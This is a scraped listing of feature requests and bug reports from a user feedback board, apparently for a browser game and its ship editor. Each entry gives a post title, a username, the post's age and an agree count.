  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Vote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree